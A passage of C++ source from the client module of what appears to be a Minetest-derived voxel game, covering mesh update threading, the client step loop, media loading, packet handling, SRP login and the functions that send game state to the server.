g_profiler->avg("Client: mesh make queue", m_ranges.size());
return m_ranges.size();
}
std::shared_ptr<MeshMakeData> MeshUpdateQueue::pop()
{
auto lock = m_queue.lock_unique_rec();
for (auto & it : m_queue) {
auto & rmap = it.second;
auto begin = rmap.begin();
auto data = begin->second;
m_ranges.erase(begin->first);
rmap.erase(begin->first);
if (rmap.empty())
m_queue.erase(it.first);
return data;
}
return nullptr;
}
/*
MeshUpdateThread
*/
void MeshUpdateThread::enqueueUpdate(v3s16 p, std::shared_ptr<MeshMakeData> data,
bool urgent)
{
m_queue_in.addBlock(p, data, urgent);
deferUpdate();
}
void MeshUpdateThread::doUpdate()
{
std::shared_ptr<MeshMakeData> q;
while ((q = m_queue_in.pop())) {
try {
m_queue_in.m_process.set(q->m_blockpos, 1);
ScopeProfiler sp(g_profiler, "Client: Mesh making " + itos(q->step));
m_queue_out.push_back(MeshUpdateResult(q->m_blockpos, MapBlock::mesh_type(new MapBlockMesh(q.get(), m_camera_offset))));
m_queue_in.m_process.erase(q->m_blockpos);
#if _MSC_VER
sleep_ms(1); // dont overflow gpu, fix lag and spikes on drawtime
#endif
#if !EXEPTION_DEBUG
} catch (BaseException &e) {
errorstream<<"MeshUpdateThread: exception: "<<e.what()<<std::endl;
} catch(std::exception &e) {
errorstream<<"MeshUpdateThread: exception: "<<e.what()<<std::endl;
} catch (...) {
errorstream<<"MeshUpdateThread: Ooops..."<<std::endl;
#else
} catch (int) { //nothing
#endif
}
}
}
/*
Client
*/
Client::Client(
IrrlichtDevice *device,
const char *playername,
std::string password,
bool is_simple_singleplayer_game,
MapDrawControl &control,
IWritableTextureSource *tsrc,
IWritableShaderSource *shsrc,
IWritableItemDefManager *itemdef,
IWritableNodeDefManager *nodedef,
ISoundManager *sound,
MtEventManager *event,
bool ipv6
):
m_packetcounter_timer(0.0),
m_connection_reinit_timer(0.1),
m_avg_rtt_timer(0.0),
m_playerpos_send_timer(0.0),
m_ignore_damage_timer(0.0),
m_tsrc(tsrc),
m_shsrc(shsrc),
m_itemdef(itemdef),
m_nodedef(nodedef),
m_sound(sound),
m_event(event),
m_mesh_update_thread(),
m_env(
new ClientMap(this, this, control,
device->getSceneManager()->getRootSceneNode(),
device->getSceneManager(), 666),
device->getSceneManager(),
tsrc, this, device
),
m_particle_manager(&m_env),
m_con(PROTOCOL_ID, is_simple_singleplayer_game ? MAX_PACKET_SIZE_SINGLEPLAYER : MAX_PACKET_SIZE, CONNECTION_TIMEOUT, ipv6, this),
m_device(device),
m_camera(NULL),
m_minimap_disabled_by_server(false),
m_server_ser_ver(SER_FMT_VER_INVALID),
m_proto_ver(0),
m_playeritem(0),
m_previous_playeritem(0),
m_inventory_updated(false),
m_inventory_from_server(NULL),
m_inventory_from_server_age(0.0),
m_animation_time(0),
m_crack_level(-1),
m_crack_pos(0,0,0),
m_map_seed(0),
m_password(password),
m_chosen_auth_mech(AUTH_MECHANISM_NONE),
m_auth_data(NULL),
m_access_denied(false),
m_access_denied_reconnect(false),
m_itemdef_received(false),
m_nodedef_received(false),
m_media_downloader(new ClientMediaDownloader()),
m_time_of_day_set(false),
m_last_time_of_day_f(-1),
m_time_of_day_update_timer(0),
m_recommended_send_interval(0.1),
m_removed_sounds_check_timer(0),
m_uptime(0),
m_simple_singleplayer_mode(is_simple_singleplayer_game),
m_timelapse_timer(-1),
m_state(LC_Created),
m_localdb(NULL)
{
// Add local player
m_env.setLocalPlayer(new LocalPlayer(this, playername));
m_mapper = new Mapper(device, this);
//m_cache_save_interval = g_settings->getU16("server_map_save_interval");
m_cache_smooth_lighting = g_settings->getBool("smooth_lighting");
m_cache_enable_shaders = g_settings->getBool("enable_shaders");
m_cache_use_tangent_vertices = m_cache_enable_shaders && (
g_settings->getBool("enable_bumpmapping") ||
g_settings->getBool("enable_parallax_occlusion"));
}
void Client::Stop()
{
//request all client managed threads to stop
m_mesh_update_thread.stop();
// Save local server map
if (m_localdb) {
actionstream << "Local map saving ended" << std::endl;
m_localdb->endSave();
}
delete m_localserver;
delete m_localdb;
}
Client::~Client()
{
m_con.Disconnect();
m_mesh_update_thread.stop();
m_mesh_update_thread.wait();
/*
while (!m_mesh_update_thread.m_queue_out.empty()) {
MeshUpdateResult r = m_mesh_update_thread.m_queue_out.pop_frontNoEx();
delete r.mesh;
}
*/
delete m_inventory_from_server;
// Delete detached inventories
for (UNORDERED_MAP<std::string, Inventory*>::iterator
i = m_detached_inventories.begin();
i != m_detached_inventories.end(); ++i) {
delete i->second;
}
// cleanup 3d model meshes on client shutdown
while (m_device->getSceneManager()->getMeshCache()->getMeshCount() != 0) {
scene::IAnimatedMesh *mesh =
m_device->getSceneManager()->getMeshCache()->getMeshByIndex(0);
if (mesh != NULL)
m_device->getSceneManager()->getMeshCache()->removeMesh(mesh);
}
delete m_mapper;
delete m_media_downloader;
}
void Client::connect(Address address,
const std::string &address_name,
bool is_local_server)
{
DSTACK(FUNCTION_NAME);
initLocalMapSaving(address, address_name, is_local_server);
m_con.Connect(address);
}
void Client::step(float dtime)
{
DSTACK(FUNCTION_NAME);
m_uptime += dtime;
// Limit a bit
if(dtime > 2.0)
dtime = 2.0;
if(m_ignore_damage_timer > dtime)
m_ignore_damage_timer -= dtime;
else
m_ignore_damage_timer = 0.0;
m_animation_time += dtime;
if(m_animation_time > 60.0)
m_animation_time -= 60.0;
m_time_of_day_update_timer += dtime;
ReceiveAll();
/*
Packet counter
*/
{
float &counter = m_packetcounter_timer;
counter -= dtime;
if(counter <= 0.0)
{
counter = 20.0;
verbosestream << "Client packetcounter (" << m_packetcounter_timer
<< "):"<<std::endl;
m_packetcounter.print(verbosestream);
m_packetcounter.clear();
}
}
// UGLY hack to fix 2 second startup delay caused by non existent
// server client startup synchronization in local server or singleplayer mode
static bool initial_step = true;
if (initial_step) {
initial_step = false;
}
else if(m_state == LC_Created) {
float &counter = m_connection_reinit_timer;
counter -= dtime;
if(counter <= 0.0) {
counter = 2.0;
LocalPlayer *myplayer = m_env.getLocalPlayer();
FATAL_ERROR_IF(myplayer == NULL, "Local player not found in environment.");
u16 proto_version_min = g_settings->getFlag("send_pre_v25_init") ?
CLIENT_PROTOCOL_VERSION_MIN_LEGACY : CLIENT_PROTOCOL_VERSION_MIN;
if (proto_version_min < 25) {
// Send TOSERVER_INIT_LEGACY
// [0] u16 TOSERVER_INIT_LEGACY
// [2] u8 SER_FMT_VER_HIGHEST_READ
// [3] u8[20] player_name
// [23] u8[28] password (new in some version)
// [51] u16 minimum supported network protocol version (added sometime)
// [53] u16 maximum supported network protocol version (added later than the previous one)
/*
char pName[PLAYERNAME_SIZE];
char pPassword[PASSWORD_SIZE];
memset(pName, 0, PLAYERNAME_SIZE * sizeof(char));
memset(pPassword, 0, PASSWORD_SIZE * sizeof(char));
*/
std::string hashed_password = translate_password(myplayer->getName(), m_password);
/*
snprintf(pName, PLAYERNAME_SIZE, "%s", myplayer->getName());
snprintf(pPassword, PASSWORD_SIZE, "%s", hashed_password.c_str());
sendLegacyInit(pName, pPassword);
*/
sendLegacyInit(myplayer->getName(), hashed_password);
}
if (CLIENT_PROTOCOL_VERSION_MAX >= 25)
sendInit(myplayer->getName());
}
// Not connected, return
return;
}
/*
Do stuff if connected
*/
unsigned int max_cycle_ms = 200/g_settings->getFloat("wanted_fps");
/*
Run Map's timers and unload unused data
*/
const float map_timer_and_unload_dtime = 10.25;
if(m_map_timer_and_unload_interval.step(dtime, map_timer_and_unload_dtime)) {
ScopeProfiler sp(g_profiler, "Client: map timer and unload");
std::vector<v3s16> deleted_blocks;
if(m_env.getMap().timerUpdate(m_uptime,
g_settings->getFloat("client_unload_unused_data_timeout"),
g_settings->getS32("client_mapblock_limit"),
max_cycle_ms,
&deleted_blocks))
m_map_timer_and_unload_interval.run_next(map_timer_and_unload_dtime);
/*if(deleted_blocks.size() > 0)
infostream<<"Client: Unloaded "<<deleted_blocks.size()
<<" unused blocks"<<std::endl;*/
/*
Send info to server
NOTE: This loop is intentionally iterated the way it is.
*/
auto i = deleted_blocks.begin();
std::vector<v3s16> sendlist;
for(;;) {
if(sendlist.size() == 255 || i == deleted_blocks.end()) {
if(sendlist.empty())
break;
sendDeletedBlocks(sendlist);
if(i == deleted_blocks.end())
break;
sendlist.clear();
}
sendlist.push_back(*i);
++i;
}
}
/*
Handle environment
*/
// Control local player (0ms)
LocalPlayer *player = m_env.getLocalPlayer();
assert(player != NULL);
player->applyControl(dtime, &m_env);
// Step environment
m_env.step(dtime, m_uptime, max_cycle_ms);
/*
Get events
*/
for(;;) {
ClientEnvEvent event = m_env.getClientEvent();
if(event.type == CEE_NONE) {
break;
}
else if(event.type == CEE_PLAYER_DAMAGE) {
if(m_ignore_damage_timer <= 0) {
u8 damage = event.player_damage.amount;
if(event.player_damage.send_to_server)
sendDamage(damage);
// Add to ClientEvent queue
ClientEvent event;
event.type = CE_PLAYER_DAMAGE;
event.player_damage.amount = damage;
m_client_event_queue.push(event);
}
}
else if(event.type == CEE_PLAYER_BREATH) {
u16 breath = event.player_breath.amount;
sendBreath(breath);
}
}
/*
Print some info
*/
float &counter = m_avg_rtt_timer;
counter += dtime;
if(counter >= 10) {
counter = 0.0;
// connectedAndInitialized() is true, peer exists.
#if MINETEST_PROTO
float avg_rtt = getRTT();
infostream<<"Client: avg_rtt="<<avg_rtt<<std::endl;
#endif
sendDrawControl(); //not very good place. maybe 5s timer better
}
/*
Send player position to server
*/
{
float &counter = m_playerpos_send_timer;
counter += dtime;
if((m_state == LC_Ready) && (counter >= m_recommended_send_interval)) {
counter = 0.0;
sendPlayerPos();
}
}
/*
Replace updated meshes
*/
{
TimeTaker timer_step("Client: Replace updated meshes");
int num_processed_meshes = 0;
u32 end_ms = porting::getTimeMs() + 10;
/*
auto lock = m_env.getMap().m_blocks.try_lock_shared_rec();
if (!lock->owns_lock()) {
infostream<<"skip updating meshes"<<std::endl;
} else
*/
{
auto qsize = m_mesh_update_thread.m_queue_out.size();
if (qsize > 1000)
end_ms += 200;
while (!m_mesh_update_thread.m_queue_out.empty_try()) {
num_processed_meshes++;
MinimapMapblock *minimap_mapblock = NULL;
bool do_mapper_update = true;
MeshUpdateResult r = m_mesh_update_thread.m_queue_out.pop_frontNoEx();
if (!r.mesh)
continue;
auto block = m_env.getMap().getBlock(r.p);
if(block) {
block->setMesh(r.mesh);
if (r.mesh) {
minimap_mapblock = r.mesh->moveMinimapMapblock();
if (minimap_mapblock == NULL)
do_mapper_update = false;
}
} else {
//delete r.mesh;
}
if (do_mapper_update)
m_mapper->addBlock(r.p, minimap_mapblock);
if (porting::getTimeMs() > end_ms) {
break;
}
}
if(num_processed_meshes > 0)
g_profiler->graphAdd("num_processed_meshes", num_processed_meshes);
}
}
/*
Load fetched media
*/
if (m_media_downloader && m_media_downloader->isStarted()) {
m_media_downloader->step(this);
if (m_media_downloader->isDone()) {
received_media();
delete m_media_downloader;
m_media_downloader = NULL;
}
}
/*
If the server didn't update the inventory in a while, revert
the local inventory (so the player notices the lag problem
and knows something is wrong).
*/
if(m_inventory_from_server) {
float interval = 10.0;
float count_before = floor(m_inventory_from_server_age / interval);
m_inventory_from_server_age += dtime;
float count_after = floor(m_inventory_from_server_age / interval);
if(count_after != count_before) {
// Do this every <interval> seconds after TOCLIENT_INVENTORY
// Reset the locally changed inventory to the authoritative inventory
LocalPlayer *player = m_env.getLocalPlayer();
player->inventory = *m_inventory_from_server;
m_inventory_updated = true;
}
}
/*
Update positions of sounds attached to objects
*/
{
for(UNORDERED_MAP<int, u16>::iterator i = m_sounds_to_objects.begin();
i != m_sounds_to_objects.end(); ++i) {
int client_id = i->first;
u16 object_id = i->second;
ClientActiveObject *cao = m_env.getActiveObject(object_id);
if(!cao)
continue;
v3f pos = cao->getPosition();
m_sound->updateSoundPosition(client_id, pos);
}
}
/*
Handle removed remotely initiated sounds
*/
m_removed_sounds_check_timer += dtime;
if(m_removed_sounds_check_timer >= 2.32)
{
m_removed_sounds_check_timer = 0;
// Find removed sounds and clear references to them
std::vector<s32> removed_server_ids;
for(UNORDERED_MAP<s32, int>::iterator i = m_sounds_server_to_client.begin();
i != m_sounds_server_to_client.end();) {
s32 server_id = i->first;
int client_id = i->second;
++i;
if(!m_sound->soundExists(client_id)) {
m_sounds_server_to_client.erase(server_id);
m_sounds_client_to_server.erase(client_id);
m_sounds_to_objects.erase(client_id);
removed_server_ids.push_back(server_id);
}
}
// Sync to server
if(!removed_server_ids.empty()) {
sendRemovedSounds(removed_server_ids);
}
}
float timelapse = g_settings->getFloat("timelapse");
if (timelapse) {
m_timelapse_timer += dtime;
if (m_timelapse_timer > timelapse) {
m_timelapse_timer = 0;
makeScreenshot("timelapse_");
}
}
}
bool Client::loadMedia(const std::string &data, const std::string &filename)
{
#ifdef __ANDROID__
m_device->run();
#endif
// Silly irrlicht's const-incorrectness
Buffer<char> data_rw(data.c_str(), data.size());
std::string name;
const char *image_ext[] = {
".png", ".jpg", ".bmp", ".tga",
".pcx", ".ppm", ".psd", ".wal", ".rgb",
NULL
};
name = removeStringEnd(filename, image_ext);
if(name != "")
{
verbosestream<<"Client: Attempting to load image "
<<"file \""<<filename<<"\""<<std::endl;
io::IFileSystem *irrfs = m_device->getFileSystem();
video::IVideoDriver *vdrv = m_device->getVideoDriver();
// Create an irrlicht memory file
io::IReadFile *rfile = irrfs->createMemoryReadFile(
*data_rw, data_rw.getSize(), "_tempreadfile");
FATAL_ERROR_IF(!rfile, "Could not create irrlicht memory file.");
// Read image
video::IImage *img = vdrv->createImageFromFile(rfile);
if(!img){
errorstream<<"Client: Cannot create image from data of "
<<"file \""<<filename<<"\""<<std::endl;
rfile->drop();
return false;
}
else {
m_tsrc->insertSourceImage(filename, img);
img->drop();
rfile->drop();
return true;
}
}
const char *sound_ext[] = {
".0.ogg", ".1.ogg", ".2.ogg", ".3.ogg", ".4.ogg",
".5.ogg", ".6.ogg", ".7.ogg", ".8.ogg", ".9.ogg",
".ogg", NULL
};
name = removeStringEnd(filename, sound_ext);
if(name != "")
{
verbosestream<<"Client: Attempting to load sound "
<<"file \""<<filename<<"\""<<std::endl;
m_sound->loadSoundData(name, data);
return true;
}
const char *model_ext[] = {
".x", ".b3d", ".md2", ".obj",
NULL
};
name = removeStringEnd(filename, model_ext);
if(name != "")
{
verbosestream<<"Client: Storing model into memory: "
<<"\""<<filename<<"\""<<std::endl;
if(m_mesh_data.count(filename))
errorstream<<"Multiple models with name \""<<filename.c_str()
<<"\" found; replacing previous model"<<std::endl;
m_mesh_data[filename] = data;
return true;
}
errorstream<<"Client: Don't know how to load file \""
<<filename<<"\""<<std::endl;
return false;
}
// Virtual methods from con::PeerHandler
void Client::peerAdded(u16 peer_id)
{
infostream << "Client::peerAdded(): peer->id="
<< peer_id << std::endl;
}
void Client::deletingPeer(u16 peer_id, bool timeout)
{
infostream << "Client::deletingPeer(): "
"Server Peer is getting deleted "
<< "(timeout=" << timeout << ")" << std::endl;
if (timeout) {
m_access_denied = true;
m_access_denied_reason = _("Connection timed out.");
}
}
/*
u16 command
u16 number of files requested
for each file {
u16 length of name
string name
}
*/
#if MINETEST_PROTO
void Client::request_media(const std::vector<std::string> &file_requests)
{
std::ostringstream os(std::ios_base::binary);
writeU16(os, TOSERVER_REQUEST_MEDIA);
size_t file_requests_size = file_requests.size();
FATAL_ERROR_IF(file_requests_size > 0xFFFF, "Unsupported number of file requests");
// Packet dynamicly resized
NetworkPacket pkt(TOSERVER_REQUEST_MEDIA, 2 + 0);
pkt << (u16) (file_requests_size & 0xFFFF);
for(std::vector<std::string>::const_iterator i = file_requests.begin();
i != file_requests.end(); ++i) {
pkt << (*i);
}
Send(&pkt);
infostream << "Client: Sending media request list to server ("
<< file_requests.size() << " files. packet size)" << std::endl;
}
void Client::received_media()
{
NetworkPacket pkt(TOSERVER_RECEIVED_MEDIA, 0);
Send(&pkt);
infostream << "Client: Notifying server that we received all media"
<< std::endl;
}
#endif
void Client::initLocalMapSaving(const Address &address,
const std::string &hostname,
bool is_local_server)
{
m_localserver = nullptr;
m_localdb = NULL;
if (!g_settings->getBool("enable_local_map_saving") || is_local_server) {
return;
}
std::string address_replaced = hostname + "_" + std::to_string(address.getPort());
replace( address_replaced.begin(), address_replaced.end(), ':', '_' );
const std::string world_path = porting::path_user
+ DIR_DELIM + "worlds"
+ DIR_DELIM + "server_"
+ address_replaced;
SubgameSpec gamespec;
if (!getWorldExists(world_path)) {
gamespec = findSubgame(g_settings->get("default_game"));
if (!gamespec.isValid())
gamespec = findSubgame("minimal");
} else {
gamespec = findWorldSubgame(world_path);
}
fs::CreateAllDirs(world_path);
#if !MINETEST_PROTO
m_localserver = new Server(world_path, gamespec, false, false);
#endif
/*
m_localdb = new Database_SQLite3(world_path);
m_localdb->beginSave();
*/
actionstream << "Local map saving started, map will be saved at '" << world_path << "'" << std::endl;
}
void Client::ReceiveAll()
{
DSTACK(FUNCTION_NAME);
auto end_ms = porting::getTimeMs() + 20 + (overload ? 30 : 0);
for(;;)
{
#if MINETEST_PROTO
try {
#endif
if (!Receive())
break;
g_profiler->graphAdd("client_received_packets", 1);
#if MINETEST_PROTO
}
catch(con::NoIncomingDataException &e) {
break;
}
catch(con::InvalidIncomingDataException &e) {
infostream<<"Client::ReceiveAll(): "
"InvalidIncomingDataException: what()="
<<e.what()<<std::endl;
}
#endif
// Limit time even if there would be huge amounts of data to
// process
if(porting::getTimeMs() > end_ms)
break;
}
auto events = m_con.events_size();
if (events) {
g_profiler->add("Client: Queue", events);
//errorstream<<"Client: queue=" << events << "\n";
}
if (m_state == LC_Ready && events > 100) {
if (!overload)
infostream<<"Client: Enabling overload mode queue=" << events << "\n";
if (overload < events)
overload = events;
} else {
if (overload)
infostream<<"Client: Disabling overload mode queue=" << events << "\n";
overload = 0;
}
}
bool Client::Receive()
{
DSTACK(FUNCTION_NAME);
NetworkPacket pkt;
if (!m_con.Receive(&pkt))
return false;
ProcessData(&pkt);
return true;
}
inline void Client::handleCommand(NetworkPacket* pkt)
{
const ToClientCommandHandler& opHandle = toClientCommandTable[pkt->getCommand()];
(this->*opHandle.handler)(pkt);
}
/*
sender_peer_id given to this shall be quaranteed to be a valid peer
*/
void Client::ProcessData(NetworkPacket *pkt)
{
DSTACK(FUNCTION_NAME);
#if !MINETEST_PROTO
if (!pkt->packet_unpack())
return;
#endif
ToClientCommand command = (ToClientCommand) pkt->getCommand();
u32 sender_peer_id = pkt->getPeerId();
//infostream<<"Client: received command="<<command<<std::endl;
m_packetcounter.add((u16)command);
/*
If this check is removed, be sure to change the queue
system to know the ids
*/
if(sender_peer_id != PEER_ID_SERVER) {
infostream << "Client::ProcessData(): Discarding data not "
"coming from server: peer_id=" << sender_peer_id
<< std::endl;
return;
}
// Command must be handled into ToClientCommandHandler
if (command >= TOCLIENT_NUM_MSG_TYPES) {
infostream << "Client: Ignoring unknown command "
<< command << std::endl;
return;
}
if (overload) {
if (command == TOCLIENT_ACTIVE_OBJECT_MESSAGES || command == TOCLIENT_ADD_PARTICLESPAWNER || command == TOCLIENT_ADDNODE
|| command == TOCLIENT_REMOVENODE || command == TOCLIENT_PLAY_SOUND)
return;
//errorstream << "overload cmd=" << command << " n="<< toClientCommandTable[command].name << "\n";
}
/*
* Those packets are handled before m_server_ser_ver is set, it's normal
* But we must use the new ToClientConnectionState in the future,
* as a byte mask
*/
if(toClientCommandTable[command].state == TOCLIENT_STATE_NOT_CONNECTED) {
handleCommand(pkt);
return;
}
if(m_server_ser_ver == SER_FMT_VER_INVALID) {
infostream << "Client: Server serialization"
" format invalid or not initialized."
" Skipping incoming command=" << command << std::endl;
return;
}
/*
Handle runtime commands
*/
handleCommand(pkt);
}
/*
void Client::Send(u16 channelnum, SharedBuffer<u8> data, bool reliable)
{
//MutexAutoLock lock(m_con_mutex); //bulk comment-out
m_con.Send(PEER_ID_SERVER, channelnum, data, reliable);
}
*/
#if !MINETEST_PROTO
void Client::Send(u16 channelnum, const msgpack::sbuffer &data, bool reliable) {
g_profiler->add("Client::Send", 1);
m_con.Send(PEER_ID_SERVER, channelnum, data, reliable);
}
#else
void Client::Send(NetworkPacket* pkt)
{
g_profiler->add("Client::Send", 1);
m_con.Send(PEER_ID_SERVER,
serverCommandFactoryTable[pkt->getCommand()].channel,
pkt,
serverCommandFactoryTable[pkt->getCommand()].reliable);
}
#endif
// Will fill up 12 + 12 + 4 + 4 + 4 bytes
void writePlayerPos(LocalPlayer *myplayer, ClientMap *clientMap, NetworkPacket *pkt)
{
v3f pf = myplayer->getPosition() * 100;
v3f sf = myplayer->getSpeed() * 100;
s32 pitch = myplayer->getPitch() * 100;
s32 yaw = myplayer->getYaw() * 100;
u32 keyPressed = myplayer->keyPressed;
// scaled by 80, so that pi can fit into a u8
u8 fov = clientMap->getCameraFov() * 80;
u8 wanted_range = MYMIN(255,
std::ceil(clientMap->getControl().wanted_range / MAP_BLOCKSIZE));
v3s32 position(pf.X, pf.Y, pf.Z);
v3s32 speed(sf.X, sf.Y, sf.Z);
/*
Format:
[0] v3s32 position*100
[12] v3s32 speed*100
[12+12] s32 pitch*100
[12+12+4] s32 yaw*100
[12+12+4+4] u32 keyPressed
[12+12+4+4+4] u8 fov*80
[12+12+4+4+4+1] u8 ceil(wanted_range / MAP_BLOCKSIZE)
*/
*pkt << position << speed << pitch << yaw << keyPressed;
*pkt << fov << wanted_range;
}
#if MINETEST_PROTO
void Client::interact(u8 action, const PointedThing& pointed)
{
if(m_state != LC_Ready) {
errorstream << "Client::interact() "
"Canceled (not connected)"
<< std::endl;
return;
}
LocalPlayer *myplayer = m_env.getLocalPlayer();
if (myplayer == NULL)
return;
/*
[0] u16 command
[2] u8 action
[3] u16 item
[5] u32 length of the next item (plen)
[9] serialized PointedThing
[9 + plen] player position information
actions:
0: start digging (from undersurface) or use
1: stop digging (all parameters ignored)
2: digging completed
3: place block or item (to abovesurface)
4: use item
5: perform secondary action of item
*/
NetworkPacket pkt(TOSERVER_INTERACT, 1 + 2 + 0);
pkt << action;
pkt << (u16)getPlayerItem();
std::ostringstream tmp_os(std::ios::binary);
pointed.serialize(tmp_os);
pkt.putLongString(tmp_os.str());
writePlayerPos(myplayer, &m_env.getClientMap(), &pkt);
Send(&pkt);
}
void Client::deleteAuthData()
{
if (!m_auth_data)
return;
switch (m_chosen_auth_mech) {
case AUTH_MECHANISM_FIRST_SRP:
break;
case AUTH_MECHANISM_SRP:
case AUTH_MECHANISM_LEGACY_PASSWORD:
srp_user_delete((SRPUser *) m_auth_data);
m_auth_data = NULL;
break;
case AUTH_MECHANISM_NONE:
break;
}
m_chosen_auth_mech = AUTH_MECHANISM_NONE;
}
AuthMechanism Client::choseAuthMech(const u32 mechs)
{
if (mechs & AUTH_MECHANISM_SRP)
return AUTH_MECHANISM_SRP;
if (mechs & AUTH_MECHANISM_FIRST_SRP)
return AUTH_MECHANISM_FIRST_SRP;
if (mechs & AUTH_MECHANISM_LEGACY_PASSWORD)
return AUTH_MECHANISM_LEGACY_PASSWORD;
return AUTH_MECHANISM_NONE;
}
void Client::sendLegacyInit(const std::string &playerName, const std::string &playerPassword)
{
NetworkPacket pkt(TOSERVER_INIT_LEGACY,
1 + PLAYERNAME_SIZE + PASSWORD_SIZE + 2 + 2);
u16 proto_version_min = g_settings->getFlag("send_pre_v25_init") ?
CLIENT_PROTOCOL_VERSION_MIN_LEGACY : CLIENT_PROTOCOL_VERSION_MIN;
pkt << (u8) SER_FMT_VER_HIGHEST_READ;
std::string tmp = playerName;
tmp.resize(tmp.size()+PLAYERNAME_SIZE);
pkt.putRawString(tmp.c_str(),PLAYERNAME_SIZE);
tmp = playerPassword;
tmp.resize(tmp.size()+PASSWORD_SIZE);
pkt.putRawString(tmp.c_str(), PASSWORD_SIZE);
pkt << (u16) proto_version_min << (u16) CLIENT_PROTOCOL_VERSION_MAX;
Send(&pkt);
}
void Client::sendInit(const std::string &playerName)
{
NetworkPacket pkt(TOSERVER_INIT, 1 + 2 + 2 + (1 + playerName.size()));
// we don't support network compression yet
u16 supp_comp_modes = NETPROTO_COMPRESSION_NONE;
u16 proto_version_min = g_settings->getFlag("send_pre_v25_init") ?
CLIENT_PROTOCOL_VERSION_MIN_LEGACY : CLIENT_PROTOCOL_VERSION_MIN;
pkt << (u8) SER_FMT_VER_HIGHEST_READ << (u16) supp_comp_modes;
pkt << (u16) proto_version_min << (u16) CLIENT_PROTOCOL_VERSION_MAX;
pkt << playerName;
Send(&pkt);
}
void Client::startAuth(AuthMechanism chosen_auth_mechanism)
{
m_chosen_auth_mech = chosen_auth_mechanism;
switch (chosen_auth_mechanism) {
case AUTH_MECHANISM_FIRST_SRP: {
// send srp verifier to server
std::string verifier;
std::string salt;
generate_srp_verifier_and_salt(getPlayerName(), m_password,
&verifier, &salt);
NetworkPacket resp_pkt(TOSERVER_FIRST_SRP, 0);
resp_pkt << salt << verifier << (u8)((m_password == "") ? 1 : 0);
Send(&resp_pkt);
break;
}
case AUTH_MECHANISM_SRP:
case AUTH_MECHANISM_LEGACY_PASSWORD: {
u8 based_on = 1;
if (chosen_auth_mechanism == AUTH_MECHANISM_LEGACY_PASSWORD) {
m_password = translate_password(getPlayerName(), m_password);
based_on = 0;
}
std::string playername_u = lowercase(getPlayerName());
m_auth_data = srp_user_new(SRP_SHA256, SRP_NG_2048,
getPlayerName().c_str(), playername_u.c_str(),
(const unsigned char *) m_password.c_str(),
m_password.length(), NULL, NULL);
char *bytes_A = 0;
size_t len_A = 0;
SRP_Result res = srp_user_start_authentication(
(struct SRPUser *) m_auth_data, NULL, NULL, 0,
(unsigned char **) &bytes_A, &len_A);
FATAL_ERROR_IF(res != SRP_OK, "Creating local SRP user failed.");
NetworkPacket resp_pkt(TOSERVER_SRP_BYTES_A, 0);
resp_pkt << std::string(bytes_A, len_A) << based_on;
Send(&resp_pkt);
break;
}
case AUTH_MECHANISM_NONE:
break; // not handled in this method
}
}
void Client::sendDeletedBlocks(std::vector<v3s16> &blocks)
{
NetworkPacket pkt(TOSERVER_DELETEDBLOCKS, 1 + sizeof(v3s16) * blocks.size());
pkt << (u8) blocks.size();
u32 k = 0;
for(std::vector<v3s16>::iterator
j = blocks.begin();
j != blocks.end(); ++j) {
pkt << *j;
k++;
}
Send(&pkt);
}
void Client::sendGotBlocks(v3s16 block)
{
NetworkPacket pkt(TOSERVER_GOTBLOCKS, 1 + 6);
pkt << (u8) 1 << block;
Send(&pkt);
}
void Client::sendRemovedSounds(std::vector<s32> &soundList)
{
size_t server_ids = soundList.size();
assert(server_ids <= 0xFFFF);
NetworkPacket pkt(TOSERVER_REMOVED_SOUNDS, 2 + server_ids * 4);
pkt << (u16) (server_ids & 0xFFFF);
for(std::vector<s32>::iterator i = soundList.begin();
i != soundList.end(); ++i)
pkt << *i;
Send(&pkt);
}
void Client::sendNodemetaFields(v3s16 p, const std::string &formname,
const StringMap &fields)
{
size_t fields_size = fields.size();
FATAL_ERROR_IF(fields_size > 0xFFFF, "Unsupported number of nodemeta fields");
NetworkPacket pkt(TOSERVER_NODEMETA_FIELDS, 0);
pkt << p << formname << (u16) (fields_size & 0xFFFF);
StringMap::const_iterator it;
for (it = fields.begin(); it != fields.end(); ++it) {
const std::string &name = it->first;
const std::string &value = it->second;
pkt << name;
pkt.putLongString(value);
}
Send(&pkt);
}
void Client::sendInventoryFields(const std::string &formname,
const StringMap &fields)
{
size_t fields_size = fields.size();
FATAL_ERROR_IF(fields_size > 0xFFFF, "Unsupported number of inventory fields");
NetworkPacket pkt(TOSERVER_INVENTORY_FIELDS, 0);
pkt << formname << (u16) (fields_size & 0xFFFF);
StringMap::const_iterator it;
for (it = fields.begin(); it != fields.end(); ++it) {
const std::string &name = it->first;
const std::string &value = it->second;
pkt << name;
pkt.putLongString(value);
}
Send(&pkt);
}
void Client::sendInventoryAction(InventoryAction *a)
{
std::ostringstream os(std::ios_base::binary);
a->serialize(os);
// Make data buffer
std::string s = os.str();
NetworkPacket pkt(TOSERVER_INVENTORY_ACTION, s.size());
pkt.putRawString(s.c_str(),s.size());
Send(&pkt);
}
void Client::sendChatMessage(const std::string &message)
{
NetworkPacket pkt(TOSERVER_CHAT_MESSAGE, 2 + message.size() * sizeof(u16));
pkt << narrow_to_wide(message);
Send(&pkt);
}
void Client::sendChangePassword(const std::string &oldpassword,
const std::string &newpassword)
{
LocalPlayer *player = m_env.getLocalPlayer();
if (player == NULL)
return;
std::string playername = player->getName();
if (m_proto_ver >= 25) {
// get into sudo mode and then send new password to server
m_password = oldpassword;
m_new_password = newpassword;
startAuth(choseAuthMech(m_sudo_auth_methods));
} else {
std::string oldpwd = translate_password(playername, oldpassword);
std::string newpwd = translate_password(playername, newpassword);
NetworkPacket pkt(TOSERVER_PASSWORD_LEGACY, 2 * PASSWORD_SIZE);
for (u8 i = 0; i < PASSWORD_SIZE; i++) {
pkt << (u8) (i < oldpwd.length() ? oldpwd[i] : 0);
}
for (u8 i = 0; i < PASSWORD_SIZE; i++) {
pkt << (u8) (i < newpwd.length() ? newpwd[i] : 0);
}
Send(&pkt);
}
}
void Client::sendDamage(u8 damage)
{
DSTACK(FUNCTION_NAME);
NetworkPacket pkt(TOSERVER_DAMAGE, sizeof(u8));
pkt << damage;
Send(&pkt);
}
void Client::sendBreath(u16 breath)
{
DSTACK(FUNCTION_NAME);
NetworkPacket pkt(TOSERVER_BREATH, sizeof(u16));
pkt << breath;
Send(&pkt);
}
void Client::sendRespawn()
{
DSTACK(FUNCTION_NAME);
NetworkPacket pkt(TOSERVER_RESPAWN, 0);
Send(&pkt);
}
void Client::sendReady()
{
DSTACK(FUNCTION_NAME);
NetworkPacket pkt(TOSERVER_CLIENT_READY,
1 + 1 + 1 + 1 + 2 + sizeof(char) * strlen(g_version_hash));
